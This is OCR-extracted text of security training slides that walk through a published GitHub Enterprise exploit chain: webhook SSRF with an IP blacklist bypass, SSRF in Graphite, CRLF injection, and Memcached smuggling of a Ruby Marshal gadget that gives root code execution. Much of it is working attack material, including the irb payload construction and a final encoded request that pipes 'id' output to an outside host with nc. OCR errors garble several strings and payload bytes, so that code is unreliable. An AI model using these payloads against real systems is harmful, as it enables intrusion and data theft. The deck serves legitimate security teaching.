https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html



SSRF in External Application

* In GitHub Enterprise, a feature ‘WebHook’ could define a custom
HTTP callback when specific GIT command occur.

* Committing files triggered a callback request on URL
‘http://orange.tw/foo.php’ as shown below:

POST /foo.php HTTP/1.1

Host: orange.tw

Accept: */*

User-Agent: GitHub-Hookshot/5465lac

X-GitHub-Event: ping

X-GitHub-Delivery: f4c41980-el7e-11e6-8al0-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972

NotSoSecure part of

claranet
/ cyber
security

payload=...

Reference:

https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html © NotSosecure 2021 Global

Services Ltd, all rights reserved




SSRF in External Application

* Blacklist can be bypassed by Rare IP address format
defined in ‘RFC 3986’

* In Linux, the ‘0’ represented as ‘localhost’. Hence the
callback request URL for SSRF will be ‘http://0/

Internal
resources

faraday-restrict-ip-
Far
1 NotSoSecure part of
Check for blacklist External claranet
resources @ cyber

security

Reference:

. . . e © NotSoSecure 2021 Global
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html T [ oy




SSRF in External Application

Limitations:

Only POST method was available over HTTP/HTTPS schemes
No 302 redirection

No CRLF Injection in faraday

The POST data and HTTP headers couldn’t be controlled

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserve

Reference:
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html

o}




SSRF In Internal Graphite Application

®* Graphite is real-time graphing system. (Runs on port 8000)

* Written in Python and open-source project
https://github.com/graphite-project/graphite-web

* 2nd SSRF from source code in file
‘webapps/graphite/composer/views.py’

def send_email (request):
try:
recipients = request.GET[ 'to'].split(',")
url = request.GET[ 'url’]
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query

conn = HTTPConnection(server) NotSoSecure part of

conn.request('GET',path) claranet

resp = conn.getresponse () @ cyber
security

Reference:
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




SSRF In Internal Graphite Application

* Graphite receives the user input ‘url’ and fetches the content.

* Following will be the SSRF execution chain payload:

[ ) .

Request: http://0:8000/composer/send_email?
to=orangelnogg&
url=http://orange.tw:12345/foo

® Response: $ nc -vvlp 12345

NotSoSecure part of

GET /foo HTTP/1.1 claranet
Host: orange.tw:12345 cyber
Accept-Encoding: identity security

Reference:
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




CRLF Injection in Python

®* CRLEF injection in Python library ‘httplib.HTTPConnection’ used in
Graphite

®* CRLF injection PoC:

* Reguest

http://0:8000/composer/send_email?
to=orangel@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am payload%0D%0AFoo0:

® Response:

$ nc -vvlp 12345

NotSoSecure part of

GET /
i_am payload

claranet
: /cyber_
Host: 127.0.0.1:12345 security

Foo: HTTP/1l.1

Accept-Encoding: identity Reference:

https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Unsafe Deserialization

®* GitHub stored Ruby Objects in Memcached

* Ruby Gem ‘memcached’ used to handle caches, and cache was
wrapped by Marshal

NotSoSecure part of

claranet
/ cyber
security

Reference:
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
https://frohoff.github.io/appseccali-marshalling-pickles/

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Unsafe Deserialization

®* Unsafe Marshal in Rails Console:

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")

=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"

irb(main):005:0> code = ""id™"

=> "“igq-"

irb(main):006:0> payload = "\x04\x08" +
"o"+":\x40ActiveSupport: :Deprecation: :DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" +
"0"+":\X08ERB"+"\x07" + ":\x09€src" + Marshal.dump(code)[2..-1] + ":\xOc@lineno"+ "i\x00" +
":\x0C@method"+" : \x0Bresult"

=>

"\u0004\bo: @ActiveSupport: :Deprecation: :DeprecatedInstancevVariableProxy\a:\u000E@instanceo: \bERB\a:\t@s
reIN"\t " 1id " \u0006:\u0006ET:\f€linenoi\u0000:\f@method: \vresult"

NotSoSecure _NotSoSecure part of

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")

claranet
/ cyber
security

=> "uid=0(root) gid=0(root) groups=0(root)\n"

Reference:

https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html © NotSosecure 2021 Global

Services Ltd, all rights reserved




Remote Code Execution

First SSRF Second SSRF BMemcached protocol Marshal data

http://0:8000/composer/send_email
?to=orange@chroot.org
&url=http://127.0.0.1:11211/%0D%0Aset%20g1ithubproductionsearch/quer
ies/code_query%3A857be82362ba02525¢cef496458ffb09cf30f6256%3Av3%3Aco
uUNt%200%2060%20150%0D%0A%04%080%3A%40ActiveSupport%3A%3ADeprecation
3A%3ADeprecatedInstanceVar1ableProxymOY 63A%OE%401nstanceo%3A%08ERB
%0 T%3A%09%40srcI%22%1E%601d%20%7C%20Nnc%200range. tw%s2012345%60%06%3A
%O6ET%3A%0C%40L1nenoi%00%3A%0C%40method%3A%0Bresul t%OD%SOA%OD%SOA

Reference:
https://3.bp.blogspot.com/-v4zylR98B_4/WXt7fIRIbVI/AAAAAAAAD30/ho1WSQ3WQQkZCa7SCarnOHy1eD9VEtINgCLcBGAs/s1600/final%255B1%255D.png




Attack Scenario

Find 1st SSRF by bypassing the existing protection in ‘Webhook'.
Find 2nd SSRF in ‘Graphite’ service

Chaining both SSRF into a SSRF execution chain

Finding CRLF injection in the SSRF execution chain

Smuggled as Memcached protocol and inserted a malicious Marshal
Object

Attacker triggered RCE

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserve

Reference:
https://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
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Recommended Case Studies

*  Uber Self XSS into Good XSS:
https://whitton.io/articles/uber-turning-self-xss-into-qgood-xss

* Howdid | found $31500 SSRF in Facebook:

https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-buqg-to-facebook-
d31bb046e204

* Duo Two Factor Authentication Bypass:
https://sensepost.com/blog/2021/duo-two-factor-authentication-bypass/

* SAML XML Injection:
https://research.nccgroup.com/2021/03/29/saml-xmi-injection/

* How | Found A Vulnerability To Hack iCloud Accounts:
https://thezerohack.com/apple-vulnerability-bug-bounty

* That single GraphQL issue that you keep missing:
https://blog.doyensec.com/2021/05/20/graphgl-csrf.html NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved



https://whitton.io/articles/uber-turning-self-xss-into-good-xss
https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
https://sensepost.com/blog/2021/duo-two-factor-authentication-bypass/
https://research.nccgroup.com/2021/03/29/saml-xml-injection/
https://thezerohack.com/apple-vulnerability-bug-bounty
https://blog.doyensec.com/2021/05/20/graphql-csrf.html

@ | Key takeaways

1: Attack Surface Enumeration
2. Out-of-Band Technigques

3: Bypassing Data Boundaries
4: Vulnerability Chaining

5: Second Order Injections

6: Bypassing Layered Logic

7. Exploiting Packed Files/Protocols
8: Exploring Data Format

9: Exploiting Identifier Mapping

10: Exploring Application Context
11: Cryptography Attacks

12: Explore the Lab



30-day lab access

« Lab will be periodically refreshed, generally on
Monday

 Please send an email to
whbbtraining@notsosecure.com for any lab
related queries

Lab access




Portal Access Revoked

Mdbook Portal (whbb4.nss.training)
Progress Portal (whbb4.tracker.training)

MS Teams (General and Private Support Channel)

Portal Access




Thank you

whbbtraining@notsosecure.com

@ NotSoSecure part of
claranet cyber security
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